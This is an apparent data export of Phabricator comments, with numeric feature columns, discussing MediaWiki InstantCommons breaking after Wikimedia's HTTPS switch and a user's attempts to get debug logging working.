3) CODE - manually created log file disappeared
4) CODE - still the same situation
5) CODE - manually created log file appeared again but instead of file size 0 bytes file size 50 982 bytes was shown thus the log was finally written.

BUT no such phrase as CODE is included in it. How to get it?"
493085,InstantCommons broken by switch to HTTPS,"If it is not a large production website, I would just do `chmod -R a+rw /var/log/mediawiki`.",,,1437159020,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"If it is not a large production website, I would just do CODE."
493057,InstantCommons broken by switch to HTTPS,"Should the open_basedir be enabled then? What directory I should set to open_basedir?

If I change the owner of the /var/log/mediawiki folder to www-data then has it permission to write this file?

Or what I should do exactly?",,,1437152915,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,10.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,14.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,10.0,6.0,8.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.82,0.72,"Should the open_basedir be enabled then? What directory I should set to open_basedir?

If I change the owner of the /var/log/mediawiki folder to www-data then has it permission to write this file?

Or what I should do exactly?"
493021,InstantCommons broken by switch to HTTPS,">>! In T102566#1460075, @Tau wrote:
> In both php.ini files the "";open_basedir= "" (blank). Is it okay? Is this string set anywhere else too in addition to these two php.ini-s?

If you are running your own webserver (not some cheap shared host) and you didn't set it explicitly, it's not enabled.

> I typed ""groups www-data"" to command line and received ""www-data : www-data"" - this should be okay?

That means for a file to be writable, one of these must be true:
* the owner of the file is `www-data`
* the group of the file is `www-data`
* the file is world-writable (ie. `rw-rw-rw` or something like that)

",,,1437149647,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,1.0,1.0,0.0,0.0,3.0,6.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,9.0,1.0,2.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,6.0,8.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.2093023255813953,0.627906976744186,"QUOTE
QUOTE

If you are running your own webserver (not some cheap shared host) and you didn't set it explicitly, it's not enabled.

QUOTE

That means for a file to be writable, one of these must be true:
* the owner of the file is CODE
* the group of the file is CODE
* the file is world-writable (ie. CODE or something like that)

"
492934,InstantCommons broken by switch to HTTPS,"In both php.ini files the "";open_basedir= "" (blank). Is it okay? Is this string set anywhere else too in addition to these two php.ini-s?

I typed ""groups www-data"" to command line and received ""www-data : www-data"" - this should be okay?
",,,1437132565,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,6.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,6.0,13.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1746031746031744,0.6825396825396826,"In both php.ini files the "";open_basedir= "" (blank). Is it okay? Is this string set anywhere else too in addition to these two php.ini-s?

I typed ""groups www-data"" to command line and received ""www-data : www-data"" - this should be okay?
"
492897,InstantCommons broken by switch to HTTPS,"[[ https://www.mediawiki.org/wiki/Manual:$wgDebugLogFile | Manual:$wgDebugLogFile ]] recommends checking `open_basedir`. Also, are you sure the user MediaWiki runs under (probably `www-data`) is in the right group to write the file?",,,1437125933,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.9714285714285715,0.8571428571428571,"[[ URL | Manual:$wgDebugLogFile ]] recommends checking CODE. Also, are you sure the user MediaWiki runs under (probably CODE) is in the right group to write the file?"
492876,InstantCommons broken by switch to HTTPS,">>! In T102566#1439571, @Tgr wrote:
>>>! In T102566#1434294, @Tau wrote:
>> Still nothing ... Any further recommendations??
> 
> Make sure [[ https://www.mediawiki.org/wiki/Manual:How_to_debug#Setting_up_a_debug_log_file | you have logging enabled ]] then grep for `ForeignAPIRepo: ERROR on GET:`.

>>! In T102566#1451278, @Nemo_bis wrote:
> 
> Did Tau find the solution to their problem?

I created mediawiki folder to /var/log/ (permissions rwx for both user and groups). Then added line $wgDebugLogFile = ""/var/log/mediawiki/debug-{$wgDBname}.log""; to LocalSettings.php. Made few edits on wiki page but debug file was not created. Then added manually text file debug-my_wiki.log (permissions rwx for both user and groups) to /var/log/mediawiki/ made edits on wiki page, restarted server but still can't get the debug info saved into that file. What I am doing wrong?",,,1437119767,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,2,True,0.5,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,5.0,5.5,0.0,0.5,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,8.5,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.5,5.5,8.0,1.0,1.0,0.0,1.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,4.026315789473684,0.7456140350877193,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE
QUOTE

I created mediawiki folder to /var/log/ (permissions rwx for both user and groups). Then added line $wgDebugLogFile = ""/var/log/mediawiki/debug-{$wgDBname}.log""; to LocalSettings.php. Made few edits on wiki page but debug file was not created. Then added manually text file debug-my_wiki.log (permissions rwx for both user and groups) to /var/log/mediawiki/ made edits on wiki page, restarted server but still can't get the debug info saved into that file. What I am doing wrong?"
492130,InstantCommons broken by switch to HTTPS,">>! In T102566#1456014, @Tgr wrote:
> I don't see anything needing change on any of those.

Probably because Bawolff fixed them three weeks ago.",,,1437011321,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.461538461538462,0.9230769230769231,"QUOTE
QUOTE

Probably because Bawolff fixed them three weeks ago."
492127,InstantCommons broken by switch to HTTPS,">>! In T102566#1451278, @Nemo_bis wrote:
> The necessary steps also must be documented. At least one of https://www.mediawiki.org/wiki/InstantCommons, https://www.mediawiki.org/wiki/Manual:$wgInstantCommons and https://www.mediawiki.org/wiki/Manual:$wgForeignFileRepos needs update.

I don't see anything needing change on any of those.",,,1437011139,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,2,True,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5,0.9375,"QUOTE
QUOTE

I don't see anything needing change on any of those."
491221,InstantCommons broken by switch to HTTPS,"> I tend to think we should least have a software release available

The necessary steps also must be documented. At least one of https://www.mediawiki.org/wiki/InstantCommons, https://www.mediawiki.org/wiki/Manual:$wgInstantCommons and https://www.mediawiki.org/wiki/Manual:$wgForeignFileRepos needs update.

Did Tau find the solution to their problem?",,,1436851115,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,26.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,10.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.838709677419355,0.8709677419354839,"QUOTE

The necessary steps also must be documented. At least one of URL URL and URL needs update.

Did Tau find the solution to their problem?"
491192,InstantCommons broken by switch to HTTPS,Change prepped so it's easy.  I'm open to debate on timing (I tend to think we should least have a software release available).,,,1436839110,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,7.0,10.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,13.0,10.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.5,0.9,Change prepped so it's easy.  I'm open to debate on timing (I tend to think we should least have a software release available).
491191,InstantCommons broken by switch to HTTPS,"Change 224557 had a related patch set uploaded (by BBlack):
HTTPS redirects: remove InstantCommons exception

[[https://gerrit.wikimedia.org/r/224557]]
",,,1436838968,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.3076923076923075,0.8846153846153846,"Change 224557 had a related patch set uploaded (by BBlack):
HTTPS redirects: remove InstantCommons exception

[[GERRIT_URL]]
"
491183,InstantCommons broken by switch to HTTPS,">>! In T102566#1451044, @BBlack wrote:
> Just to clear up confusion with the @Tgr's comment as well: Are we planning to release for 1.23 and 1.24 as well, or just 1.25?
> 

I figured all 3 since patches were made for all of them...but I don't really care tbh

> This whole thing doesn't really fit my definition of ""Super Urgent"", but on the other hand it's now been about a month, and I was expecting more like 2-3 weeks to pulling the exception out of varnish, and no real end in sight yet. 

Sorry if we set a bad expectation here...releases never happen on time :)

> If the plan is to take another month or two, then yeah, we need to do something about fixing this sooner.  As far as I'm concerned, the cause of this is our own broken software.  We've been harder on external breakage than we're being with ourselves here...
> 

To be honest, even if I released the software tomorrow, we'll still see a long tail of people upgrading. You're still looking at months...

If we don't really care, then why not just remove the exceptions today? InstantCommons is an optional feature, off by default, and the broken behavior can be configured around.

> Perhaps this part needs to be a separate task, but my feeling is that we'll continue to see breakage internally and externally so long as we don't fix the general case here.  Anything that acts as HTTP[S]-fetching code in MediaWiki should always follow a protocol redirect (as in, nothing about the URL changes except the protocol switch from http to https), regardless of any sort of security-focused ""don't follow redirects"" flag.

Yeah. The whole behavior around redirection here is wonky. We should definitely fix it up. Filed T105765 for it.",,,1436836806,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,1.0,0.0,0.0,1.0,2.0,4.5,2.0,0.0,0.0,1.5,0.0,2.5,0.0,0.0,0.0,4.0,0.0,10.0,9.5,0.0,0.5,0.5,0.5,0.0,1.5,0.0,0.0,1.5,0.5,0.5,0.5,4.0,0.5,1.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,1.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,12.0,3.0,1.0,5.5,0.0,0.5,0.0,0.0,5.0,1.0,0.5,0.0,6.5,9.5,2.5,0.5,0.0,0.0,6.5,0.0,0.5,1.5,0.5,1.0,0.0,0.0,0.0,3.8383299798792754,0.7591549295774649,"QUOTE
QUOTE
QUOTE

I figured all 3 since patches were made for all of them...but I don't really care tbh

QUOTE

Sorry if we set a bad expectation here...releases never happen on time :)

QUOTE
QUOTE

To be honest, even if I released the software tomorrow, we'll still see a long tail of people upgrading. You're still looking at months...

If we don't really care, then why not just remove the exceptions today? InstantCommons is an optional feature, off by default, and the broken behavior can be configured around.

QUOTE

Yeah. The whole behavior around redirection here is wonky. We should definitely fix it up. Filed T105765 for it."
491154,InstantCommons broken by switch to HTTPS,">>! In T102566#1450297, @demon wrote:
>>>! In T102566#1449713, @BBlack wrote:
>> So, where are we at on removing the redirection workarounds here?
> 
> Patches have been merged to all supported branches.
> 
>> I'd still like to get these removed ASAP.  Have we released new software with https:// URLs?
> 
> No, no release yet. 1.25.2 (T93267) is supposed to be a security release but it's not quite ready yet. If this is super urgent, I suppose we could do a release and just push back the security one to 1.25.3...

Just to clear up confusion with the @Tgr's comment as well: Are we planning to release for 1.23 and 1.24 as well, or just 1.25?

This whole thing doesn't really fit my definition of ""Super Urgent"", but on the other hand it's now been about a month, and I was expecting more like 2-3 weeks to pulling the exception out of varnish, and no real end in sight yet.  If the plan is to take another month or two, then yeah, we need to do something about fixing this sooner.  As far as I'm concerned, the cause of this is our own broken software.  We've been harder on external breakage than we're being with ourselves here...

>> Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).
> 
> We don't follow redirects by default in our http-fetching stuff. It'd be up to an explicit codepath to turn that on. When it is on, it doesn't make any sort of assumptions about protocols, etc. We could probably improve things there...

Perhaps this part needs to be a separate task, but my feeling is that we'll continue to see breakage internally and externally so long as we don't fix the general case here.  Anything that acts as HTTP[S]-fetching code in MediaWiki should always follow a protocol redirect (as in, nothing about the URL changes except the protocol switch from http to https), regardless of any sort of security-focused ""don't follow redirects"" flag.",,,1436832052,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,3.3333333333333335,2.3333333333333335,0.0,0.0,0.3333333333333333,3.6666666666666665,2.6666666666666665,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,9.333333333333334,12.666666666666666,1.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,5.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,12.0,0.6666666666666666,1.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,2.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,3.0,9.333333333333334,1.0,2.6666666666666665,6.0,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,2.0,0.0,4.666666666666667,12.666666666666666,4.0,0.3333333333333333,1.3333333333333333,0.0,4.666666666666667,0.0,0.3333333333333333,1.0,0.3333333333333333,1.6666666666666667,1.0,0.0,0.0,3.752007469654529,0.7511204481792717,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Just to clear up confusion with theSCREEN_NAME's comment as well: Are we planning to release for 1.23 and 1.24 as well, or just 1.25?

This whole thing doesn't really fit my definition of ""Super Urgent"", but on the other hand it's now been about a month, and I was expecting more like 2-3 weeks to pulling the exception out of varnish, and no real end in sight yet.  If the plan is to take another month or two, then yeah, we need to do something about fixing this sooner.  As far as I'm concerned, the cause of this is our own broken software.  We've been harder on external breakage than we're being with ourselves here...

QUOTE
QUOTE
QUOTE

Perhaps this part needs to be a separate task, but my feeling is that we'll continue to see breakage internally and externally so long as we don't fix the general case here.  Anything that acts as HTTP[S]-fetching code in MediaWiki should always follow a protocol redirect (as in, nothing about the URL changes except the protocol switch from http to https), regardless of any sort of security-focused ""don't follow redirects"" flag."
491014,InstantCommons broken by switch to HTTPS,">>! In T102566#1449713, @BBlack wrote:
> So, where are we at on removing the redirection workarounds here?

Patches have been merged to all supported branches.

> I'd still like to get these removed ASAP.  Have we released new software with https:// URLs?

No, no release yet. 1.25.2 (T93267) is supposed to be a security release but it's not quite ready yet. If this is super urgent, I suppose we could do a release and just push back the security one to 1.25.3...

> Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).

We don't follow redirects by default in our http-fetching stuff. It'd be up to an explicit codepath to turn that on. When it is on, it doesn't make any sort of assumptions about protocols, etc. We could probably improve things there...",,,1436813270,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,1.5,0.0,0.0,1.0,2.0,2.5,2.5,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,3.5,0.0,7.5,10.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,5.0,1.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.0,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,2.5,3.5,8.0,1.5,1.0,5.5,0.0,0.0,0.0,0.0,5.5,0.0,2.0,0.0,6.5,10.0,1.0,0.0,0.0,0.0,6.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.5,3.6891242937853104,0.7901129943502825,"QUOTE
QUOTE

Patches have been merged to all supported branches.

QUOTE

No, no release yet. 1.25.2 (T93267) is supposed to be a security release but it's not quite ready yet. If this is super urgent, I suppose we could do a release and just push back the security one to 1.25.3...

QUOTE

We don't follow redirects by default in our http-fetching stuff. It'd be up to an explicit codepath to turn that on. When it is on, it doesn't make any sort of assumptions about protocols, etc. We could probably improve things there..."
491005,InstantCommons broken by switch to HTTPS,">>! In T102566#1449713, @BBlack wrote:
> Have we released new software with https:// URLs?

No. [[ https://gerrit.wikimedia.org/r/#/q/Ie0b4ec179b9ccd13015c9bcbfa5c9917ff26de36,n,z | The InstantCommons patch ]] still needs to be merged to 1.24 and 1.23, and all supported versions (1.23, 1.24, 1.25) need a new release. And presumably some grace period after that.

The blocking tasks also need some work.

> Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).

It does not allow redirects at all, unless explicitly configured. If redirects are enabled, there is no way to restrict them in any way. 
See also T103043 (not sure if it should be a blocker).",,,1436812531,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,4.0,0.0,0.0,1.5,2.0,1.5,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.5,7.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,3.5,9.0,3.0,1.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,3.0,7.5,1.5,0.0,0.0,0.0,3.0,0.0,0.0,1.5,1.0,0.5,0.0,0.0,1.0,3.605769230769231,0.7884615384615384,"QUOTE
QUOTE

No. [[ URL | The InstantCommons patch ]] still needs to be merged to 1.24 and 1.23, and all supported versions (1.23, 1.24, 1.25) need a new release. And presumably some grace period after that.

The blocking tasks also need some work.

QUOTE

It does not allow redirects at all, unless explicitly configured. If redirects are enabled, there is no way to restrict them in any way. 
See also T103043 (not sure if it should be a blocker)."
490911,InstantCommons broken by switch to HTTPS,"So, where are we at on removing the redirection workarounds here?  I'd still like to get these removed ASAP.  Have we released new software with https:// URLs?  Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too).",,,1436804760,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,0.0,9.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,5.0,3.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9375,0.890625,"So, where are we at on removing the redirection workarounds here?  I'd still like to get these removed ASAP.  Have we released new software with https:// URLs?  Does MW's http-fetching stuff in general always allow protocol-only redirects (this may affect internal cases of fetches from meta, too)."
489024,InstantCommons broken by switch to HTTPS,">>! In T102566#1434294, @Tau wrote:
> Still nothing ... Any further recommendations??

Make sure [[ https://www.mediawiki.org/wiki/Manual:How_to_debug#Setting_up_a_debug_log_file | you have logging enabled ]] then grep for `ForeignAPIRepo: ERROR on GET:`.",,,1436396932,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.142857142857143,0.8571428571428571,"QUOTE
QUOTE

Make sure [[ URL | you have logging enabled ]] then grep for CODE."
487997,InstantCommons broken by switch to HTTPS,"I downloaded 2 php.ini files via FileZilla from directories /etc/php5/apache2/ and /etc/php5/cli/. 

Changed ;curl.cainfo = to curl.cainfo = ""/etc/ssl/certs/ca-certificates.crt"" in both files and uploaded them to server, after that replaced original files with new ones. 

Then restarted server by //sudo apache2ctl graceful// and //sudo service apache2 restart//.

